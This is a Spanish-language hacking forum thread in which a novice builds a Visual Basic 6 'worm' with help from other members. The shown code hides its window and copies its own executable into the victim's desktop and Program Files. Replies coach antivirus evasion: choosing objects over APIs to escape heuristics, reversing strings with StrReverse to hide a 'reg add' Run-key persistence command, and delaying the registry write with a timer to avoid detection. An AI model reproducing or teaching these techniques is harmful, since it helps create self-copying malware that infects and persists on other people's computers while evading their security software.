Hola, muy buenas, soy nuevo en el mundillo del VB y estoy empezando buscando codigos en google, en este foro, etc.. Y vi una web muy buena (en ingles) donde aparece un codigo de un gusano que me ayudo mucho a entender el Visual Basic 6.0, pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría...
Por eso necesito que me pongais mi codigo (abajo) igual pero cambiando la linea de FileCopy para que en vez de copiarse el archivo con el nombre Prueba1.exe en C:\ se copie en el escritorio. Un saludo y GRACIAS por adelantado!!
Private Form Sub_Load()
Me.hide
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Prueba1.Exe"
End Sub
Según entiendo--- Usa la funcion Environ ;)
sí, pero como???
Cita de: ►Freeze en 2 Febrero 2008, 00:52 AM
Según entiendo--- Usa la funcion Environ ;)
No se puede con el Environ xD
Aki el ejemplo de API-Guide:
Const CSIDL_DESKTOP = &H0
Const CSIDL_PROGRAMS = &H2
Const CSIDL_CONTROLS = &H3
Const CSIDL_PRINTERS = &H4
Const CSIDL_PERSONAL = &H5
Const CSIDL_FAVORITES = &H6
Const CSIDL_STARTUP = &H7
Const CSIDL_RECENT = &H8
Const CSIDL_SENDTO = &H9
Const CSIDL_BITBUCKET = &HA
Const CSIDL_STARTMENU = &HB
Const CSIDL_DESKTOPDIRECTORY = &H10
Const CSIDL_DRIVES = &H11
Const CSIDL_NETWORK = &H12
Const CSIDL_NETHOOD = &H13
Const CSIDL_FONTS = &H14
Const CSIDL_TEMPLATES = &H15
Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Sub Form_Load()
'KPD-Team 1998
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
'Show an about window
ShellAbout Me.hWnd, App.Title, "Created by the KPD-Team 1999", ByVal 0&
'Set the graphical mode to persistent
Me.AutoRedraw = True
'Print the folders to the form
Me.Print "Start menu folder: " + GetSpecialfolder(CSIDL_STARTMENU)
Me.Print "Favorites folder: " + GetSpecialfolder(CSIDL_FAVORITES)
Me.Print "Programs folder: " + GetSpecialfolder(CSIDL_PROGRAMS)
Me.Print "Desktop folder: " + GetSpecialfolder(CSIDL_DESKTOP)
End Sub
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'Get the special folder
r = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If r = NOERROR Then
'Create a buffer
Path$ = Space$(512)
'Get the path from the IDList
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove the unnecessary chr$(0)'s
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
Obvio k solo necesitas una pekena parte de ese codigo ^^
Saludos
Muchas gracias por tu esfuerzo!!
Pero, perdon por mi ignorancia, sigo sin entenderlo..
Lo he intentdo de mil maneras y nada... Ademas me da error en la parte del codigo que pone "if r = NOERROR" y en un poco más abajo que pone paths...
Si no te es mucho esfuerzo, me podrías poner unicamente el ejemplo para hacer lo que te pido??
Copiar el archivo al escritorio con el nuevo nombre de prueba1???
Private Sub Form_Load()
'AllUsersDesktop, AllUsersStartMenu
'AllUsersPrograms, AllUsersStartup, Desktop, Favorites
'Fonts, MyDocuments, NetHood, PrintHood, Programs, Recent
'SendTo, StartMenu, Startup, Templates
Dim WSh As Object
Dim tempVar As String
Set WSh = CreateObject("WScript.Shell")
tempVar = WshShell.SpecialFolders("Desktop")
MsgBox tempVar
End Sub
Es esto y nada más. Cambia el Desktop por alguna de las otras variables de arriba para obtener otras rutas interesantes. Para Obtener sólo la unidad de sistema:
Private Sub Form_Load()
Dim tempVar As String
tempVar = Environ("HOMEDRIVE")
MsgBox tempVar
End Sub
Aqui tienes otras variables para usar con Environ("")
CitarALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\user\Datos de programa
CommonProgramFiles=C:\Archivos de programa\Archivos comunes
COMPUTERNAME=PC-ANTRAX
ComSpec=C:\WINDOWS\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\user
LOGONSERVER=\\SERVER01
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 15 Model 47 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL=15
PROCESSOR_REVISION=2f00
ProgramFiles=C:\Archivos de programa
PROMPT=$P$G
QTJAVA=C:\Archivos de programa\Java\jre1.6.0_03\lib\ext\QTJava.zip
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\user\CONFIG~1\Temp
TMP=C:\DOCUME~1\user\CONFIG~1\Temp
USERDOMAIN=WINWORLD
USERNAME=Usuario
USERPROFILE=C:\Documents and Settings\user
windir=C:\WINDOWS
Saludos!!
No estoy de acuerdo Mad.
Primero, es mejor usar APIs k objectos.
Segundo, %HOMEDRIVE% no es el desktop...
Saludos
Cita de: Tughack en 2 Febrero 2008, 14:23 PM
No estoy de acuerdo Mad.
Primero, es mejor usar APIs k objectos.
Segundo, %HOMEDRIVE% no es el desktop...
Saludos
Bravoooo, ya llegó el listo! Es mejor usar Objetos para la programación de malware, las API's se quedan en el própio ejecutable y es más facil que un AV te detecte por heurística, vease: CreateRemoteThread, DownloadURLFileA, etc...
Ademas, con el Objeto FSO cargado podrá hacer otras funciones importantes como: CreateTextFile, DeleteFile, Run, RegRead, RegWrite, etc...
Si te ubieras molestado en leer mi mensaje, verías que el primer código te devuelve el Escritorio y el segundo la unidad de sistema a través de Environ (que es algo que tambien ha pedido el usuario:
Cita de: hAcKeR92 en 2 Febrero 2008, 00:46 AM
pero lo que ví muy irreal es el hecho de poner "C:\loquesea" para las copias, ya que si el infectado no tiene el systemdrie en C y lo tiene en D por ejemplo no funcionaría...
Lee antes de criticar tio, me pones de los nervios con tus contestaciones.
Dim resul As String
resul = Environ("homedrive") & Environ("homepath") & "\Escritorio"
If Not IsDir(resul) Then
resul = Environ("homedrive") & Environ("homepath") & "\Desktop"
End If
Private Function IsDir(ByVal DirSpec As String) As Boolean 'Funcion que devuelve True si existe una carpeta y False si no existe
On Error Resume Next
IsDir = ((GetAttr(DirSpec) And vbDirectory) = vbDirectory)
End Function
Environ("homedrive") & Environ("homepath") devuelve C:\Documents And Settings\USUARIO
A partir de aí la carpeta Escritorio dependerá del idioma del SO...
El codigo ese es mas sencillo que los anteriores y funcionará en los SO con idiomas Español e Ingles...es decir en casi todos :xD ...pero si kieres más eficacia yo preferiría el de Tughack pork me gustan más las APIs...pero weno a tu gusto :xD
Corrijanme si me he equivocado...
Saludos ;)
EDIT: Es mejor usar APIs que objetos eso si k es verdad...los objetos son mucho mas lentos...en este caso aun da algo igual pero por ejemplo yo cuando diseñe un algoritmo de busquedas había mucha diferencia entre usar objetos o APIs...e incluso entre Objetos y las propias funciones del VB había mucha diferencia (minutos)...
CitarHola, muy buenas, soy nuevo en el mundillo del VB
Mad, hAcKeR92 es un novato y la primera cosa k le das son objectos? Mejor en la creacion de malware? Vamos... Apis puedes llamarlas como kieras y hacrlas indetectables... Objectos son para script kiddies... De todas formas gusanos es cosa de script kiddies... enfin...
Y si, me he molestado en leer tu mensaje y se perfectamente k hace el codigo...
APIS RULE!
Saludos
Bueno, agradezco mucho vuestra ayuda!!!
He probado con los codigos que me dais y al final ha funcionado!!:
MUCHAS GRACIAS POR TODO, si tengo alguna duda más ya se a donde acudir, ;-)
Private Sub Form_Load()
Dim tempVar As String
tempVar = Environ("USERPROFILE")
FileCopy App.Path + "\" + App.EXEName + ".exe", tempVar + "\" + "Escritorio" + "\" + "Prueba1.exe"
End Sub
CORREGIDO
Bien, la ultima modificación antes de dar el tema por terminado:
Private Sub Form_Load()
Me.Hide
Dim tempVar As String
tempVar = Environ("USERPROFILE")
FileCopy App.Path + "\" + App.EXEName + ".exe", tempVar + "\" + "Escritorio" + "\" + "Prueba1.exe"
End Sub
Así lo que hace es copiar al escritorio el archivo exe con el nombre de Prueba1.exe
Un saludo y no discutan!! xD
Pero asi solo te funcionará en ordenadores con idioma español...en los ingleses no te funcionará...el mio si no me ekivoko debe servir para los ingleses además de los españoles...y weno los de Tughack y MadAntrax te servirán siempre pero son mas codigo...el mio es sencillito pero funcionará casi siempre... (kien no tiene el ordenador en Ingles o en español?)
Saludos ;)
Bueno, estuve retocandolo para aprender un poco más.. Y consegui hacer este codigo:
Private Sub Form_Load()
Me.Hide
Dim tempVar As String
tempVar = Environ("USERPROFILE") & "\" & "Escritorio" & "\" & "NuevoArchivo.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", tempVar
Dim tempVar2 As String
tempVar2 = Environ("ProgramFiles") & "\" & "NuevoArchivo.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", tempVar2
End Sub
Respecto a lo que me comentas de un ordenador en Español o en Inglés voy a probarlo ahora..
Otra pregunta, para eliminar un archivo sería lo mismo pero con DeleteFile????
Un saludo y gracias.
No consegui hacer lo de si no esta en español..
Seguro que esta bien el codigo que me pusiste???
Pues no lo he mirado...ahora marcho después lo compruevo...
Saludos ;)
Para borrar un fichero puedes utilizar el método DeleteFile del Objeto FSO (Scripting.FileSystemObject) o la función Kill del VisualBasic, ejemplo:
Kill "C:\nomeborres.txt"
Para evitar el fallo en las rutas según el idioma usa este código:
Set WSh = CreateObject("WScript.Shell")
FileCopy App.Path + "\" + App.EXEName + ".exe", WshShell.SpecialFolders("Desktop") & "\Proyecto1.exe"
Es igual de corto y funciona hasta en un Windows Francés, Alemán, Ruso o lo que quieras.
Nas gente. La verdad, yo tambien suelo preferir las apis a los objetos, y las instrucciones del vb a las anteriores.....claro, si las apis no son muy jodidas :). Para borrar un fichero está la intrucción Kill archivo del vb. La api para borrar un fichero es Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Deletefile pertenece a la clase FileSystemObject, de la libreria Scripting. Puedes cargarla en Referencias como Microsoft Scriting Runtime. Esa clase va de manejos de ficheros. Mirala por si te interesa.
Saludos.
P.D. Jajajajaja, porque cuando estoy contestando algo casi siempre lo contesta alguien primero jajajaja. Bueno, da igual, dejo la respuesta. Se me adelantó ||MadAntrax|| :P
Dicen que no es con la funcion Environ y todos la usan :¬¬ :xD
Para eliminar archivos muchas maneras (Apis, Objetos, Funciones) pero ten cuidado con la heuristica y busca mas en google :xD
El codigo que me pusieron para cualquier idioma, no me funciona.. no se que hare mal..
Set WSh = CreateObject("WScript.Shell")
FileCopy App.Path + "\" + App.EXEName + ".exe", WshShell.SpecialFolders("Desktop") & "\Proyecto1.exe"
Y lo de poner kill "lo que sea" es realmente eficaz?? Y si el program se esta ejecutando lo elimina??
Cita de: hAcKeR92 en 2 Febrero 2008, 23:38 PM
El codigo que me pusieron para cualquier idioma, no me funciona.. no se que hare mal..
Set WSh = CreateObject("WScript.Shell")
FileCopy App.Path + "\" + App.EXEName + ".exe", WshShell.SpecialFolders("Desktop") & "\Proyecto1.exe"
Y lo de poner kill "lo que sea" es realmente eficaz?? Y si el program se esta ejecutando lo elimina??
Reemplaza
WshShell por
WshSaludos.
Set WSh = CreateObject("WScript.Shell")
FileCopy App.Path + "\" + App.EXEName + ".exe", WshShell.SpecialFolders("Desktop") & "\Proyecto1.exe"
Reemplaza WshShell por Wsh
Saludos.
Muchas gracias Claor
Cambie WshShell por solo Wsh y me segui dando error, pero agregando alguna cosilla funciono.
Private Sub Form_Load()
Dim Wsh As Object
Set Wsh = CreateObject("WScript.Shell")
FileCopy App.Path + "\" + App.EXEName + ".exe", Wsh.SpecialFolders("Desktop") & "\Proyecto1.exe"
End Sub
Cita de: ►Freeze en 2 Febrero 2008, 22:39 PM
Dicen que no es con la funcion Environ y todos la usan :¬¬ :xD
Para eliminar archivos muchas maneras (Apis, Objetos, Funciones) pero ten cuidado con la heuristica y busca mas en google :xD
No hay ninguna variable para sacar la ruta del desktop con el Environ...
Cita de: Tughack en 3 Febrero 2008, 00:20 AM
Cita de: ►Freeze en 2 Febrero 2008, 22:39 PM
Dicen que no es con la funcion Environ y todos la usan :¬¬ :xD
Para eliminar archivos muchas maneras (Apis, Objetos, Funciones) pero ten cuidado con la heuristica y busca mas en google :xD
No hay ninguna variable para sacar la ruta del desktop con el Environ...
Tienes toda la razon, no es la mejor opcion pero:
RutaEscritorio = Environ("HOMEDRIVE") & Environ("HOMEPATH") & "\Escritorio"
Cita de: ►Freeze en 3 Febrero 2008, 00:30 AM
Cita de: Tughack en 3 Febrero 2008, 00:20 AM
Cita de: ►Freeze en 2 Febrero 2008, 22:39 PM
Dicen que no es con la funcion Environ y todos la usan :¬¬ :xD
Para eliminar archivos muchas maneras (Apis, Objetos, Funciones) pero ten cuidado con la heuristica y busca mas en google :xD
No hay ninguna variable para sacar la ruta del desktop con el Environ...
Tienes toda la razon, no es la mejor opcion pero:
RutaEscritorio = Environ("HOMEDRIVE") & Environ("HOMEPATH") & "\Escritorio"
No sería mejor usar USERPROFILE en vez de HOMEDRIVE y HOMEPATH???
Ejemplo:
Dim temp1 As String
temp1 = Environ("USERPROFILE") & "\Escritorio"
Y para terminar de hacer las cosas bien... porque no consultamos el Registro?
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
Os adjunto las otras variable útiles
(http://img222.imageshack.us/img222/9238/msmsmszy0.png)
Para leer el registro prefiero objetos antes que API's:
Private Sub Form_Load()
Dim Wsh As Object
Set Wsh = CreateObject("WScript.Shell")
Dim tmp As String
tmp = Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop")
MsgBox tmp
End Sub
Ojo que estas rutas son las de AllUsersProfile, lo que pongas ahí se verán en los directorios de TODOS los usuarios de ese PC, se necesitan permisos administrativos para modificar el contenido de esas rutas.
muy buen aporte!!
Cita de: ||MadAntrax|| en 3 Febrero 2008, 01:31 AM
Y para terminar de hacer las cosas bien... porque no consultamos el Registro?
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
Os adjunto las otras variable útiles
(http://img222.imageshack.us/img222/9238/msmsmszy0.png)
Para leer el registro prefiero objetos antes que API's:
Private Sub Form_Load()
Dim Wsh As Object
Set Wsh = CreateObject("WScript.Shell")
Dim tmp As String
tmp = Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop")
MsgBox tmp
End Sub
Ojo que estas rutas son las de AllUsersProfile, lo que pongas ahí se verán en los directorios de TODOS los usuarios de ese PC, se necesitan permisos administrativos para modificar el contenido de esas rutas.
Muchas gracias no lo conocia ;)
Cita de: hAcKeR92 en 3 Febrero 2008, 00:49 AM
Cita de: ►Freeze en 3 Febrero 2008, 00:30 AM
Cita de: Tughack en 3 Febrero 2008, 00:20 AM
Cita de: ►Freeze en 2 Febrero 2008, 22:39 PM
Dicen que no es con la funcion Environ y todos la usan :¬¬ :xD
Para eliminar archivos muchas maneras (Apis, Objetos, Funciones) pero ten cuidado con la heuristica y busca mas en google :xD
No hay ninguna variable para sacar la ruta del desktop con el Environ...
Tienes toda la razon, no es la mejor opcion pero:
RutaEscritorio = Environ("HOMEDRIVE") & Environ("HOMEPATH") & "\Escritorio"
No sería mejor usar USERPROFILE en vez de HOMEDRIVE y HOMEPATH???
Ejemplo:
Dim temp1 As String
temp1 = Environ("USERPROFILE") & "\Escritorio"
La verdad si, pero no me di cuenta. :P
si encriptas las strings puedes usar la API tambien para el registro que no te va a detectar nada...
Y si quieres borrar un archivo cuidado con Kill...canta mucho a los AVs...sobre todo si lo pones en el Load :xD
Saludos ;)
como es eso de encriptarlos??
Aun asi hay APIs que son detectadas al momento...como por ejemplo algunas TerminateProcess y asi algunas...pero weno normalmente las APIs suelen ser mejor...
lo de cifrar Strings es facil...consiste en usar alguna funcion que desencripte una String para que los AVs al analizar nuestro archivo no vean Strings sospechosas...
Por ejemplo si el AV detecta esta String "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update" es cantosisima :xD entonces lo que haces es encriptarla y que quede un texto no legible...y despues en vez de poner la String pones la funcion que descifra a la String...
incluso puedes usar las propias funciones del VB para cifrar la String...como por ejemplo StrReverse...el texto lo pones del revés y después en vez de pasar el texto pones la funcion StrReverse con el texto del reves...
A ver te poní aun codigo pero tengo mucha prisa y no me da tiempo si no entendiste después te pongo algunos...
Saludos ;)
Private Sub Form_Load()
MsgBox StrReverse("ALOH")
End Sub
Ya esta :P haces eso con las cadenas "cantosas" y arreglado
Y como se haria por ejemplo para lo que dijo nhaalclkiemr???
Porque al poner:
StrReverse("Shell("cmd.exe /c reg add HKLM\SOFT....")")
DA ERROR!!
y aparte de ese que mas metodos hay??
Cita de: hAcKeR92 en 6 Febrero 2008, 02:06 AM
Y como se haria por ejemplo para lo que dijo nhaalclkiemr???
Porque al poner:
StrReverse("Shell("cmd.exe /c reg add HKLM\SOFT....")")
DA ERROR!!
Jaja a ver lo unico que puedes cifrar son las Strings...en tu caso esto:
StrReverse("Shell("cmd.exe /c reg add HKLM\SOFT....")")sería así:
Shell(StrReverse("...TFOS\MLKH dda ger c/ exe.dmc"))Entiendes?
En este caso usas la propia funcion StrReverse del VB para cifrar las String...asi por ejemplo el AV cuando mire el codigo de nuestro programa no encontrará
cmd.exe /c reg add HKLM\SOFT.... sino
...TFOS\MLKH dda ger c/ exe.dmc ...y cuando pongamos el programa en marcha la funcion strReverse hará que pasemos la String descifrada (es decir, la original) a la funcion...
En este caso usamos StrReverse...pero mismo puedes crear tu otra funcion para cifrar las Strings de otra manera...
Saludos ;)
Hola, muy buenas!! lo hice bien y se agrega al registro, pero en seguida me salta el kaspersky... No hay otra manera mejor??
Lo tienes puesto en el form load o en un timer?
Cita de: E0N en 6 Febrero 2008, 20:34 PM
Lo tienes puesto en el form load o en un timer?
En un form_load, por???
Por q la mayoria de los av's lo detectan si lo pones ahí, pon la funcion en un time con intervalo 10 por ejemplo y q logicamente se desacative una vez haya escrito en el reg, a ver si asi no te lo detecta ;)
Cita de: E0N en 6 Febrero 2008, 20:42 PM
Por q la mayoria de los av's lo detectan si lo pones ahí, pon la funcion en un time con intervalo 10 por ejemplo y q logicamente se desacative una vez haya escrito en el reg, a ver si asi no te lo detecta ;)
jajaja, perdon pero me suena un poco a chino eso del timer con intervalo 10...
Me lo puedes explicar?? (con ejemplos xD)
Gracias
rofl
Nah no adianta con timers.
El kav lo detecta y punto... Es la proactive defense...
A no ser k lo desactives o k lo parchees no hay forma de hacer con k no salte jeje
saludos
Citarrofl
Nah no adianta con timers.
El kav lo detecta y punto... Es la proactive defense...
A no ser k lo desactives o k lo parchees no hay forma de hacer con k no salte jeje
Eso si, la defensa proactiva no se la salta ni el tato (weno, se le pueden hacer unos apaños >:D ) pero para q no te lo detecte al escanear puedes usar el truco ese:
' añades un timer
Private Sub Form_Load()
Timer1.Interval = 10
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
' Aki pones lo de copiarse al reg
Timer1.Enabled = False
End Sub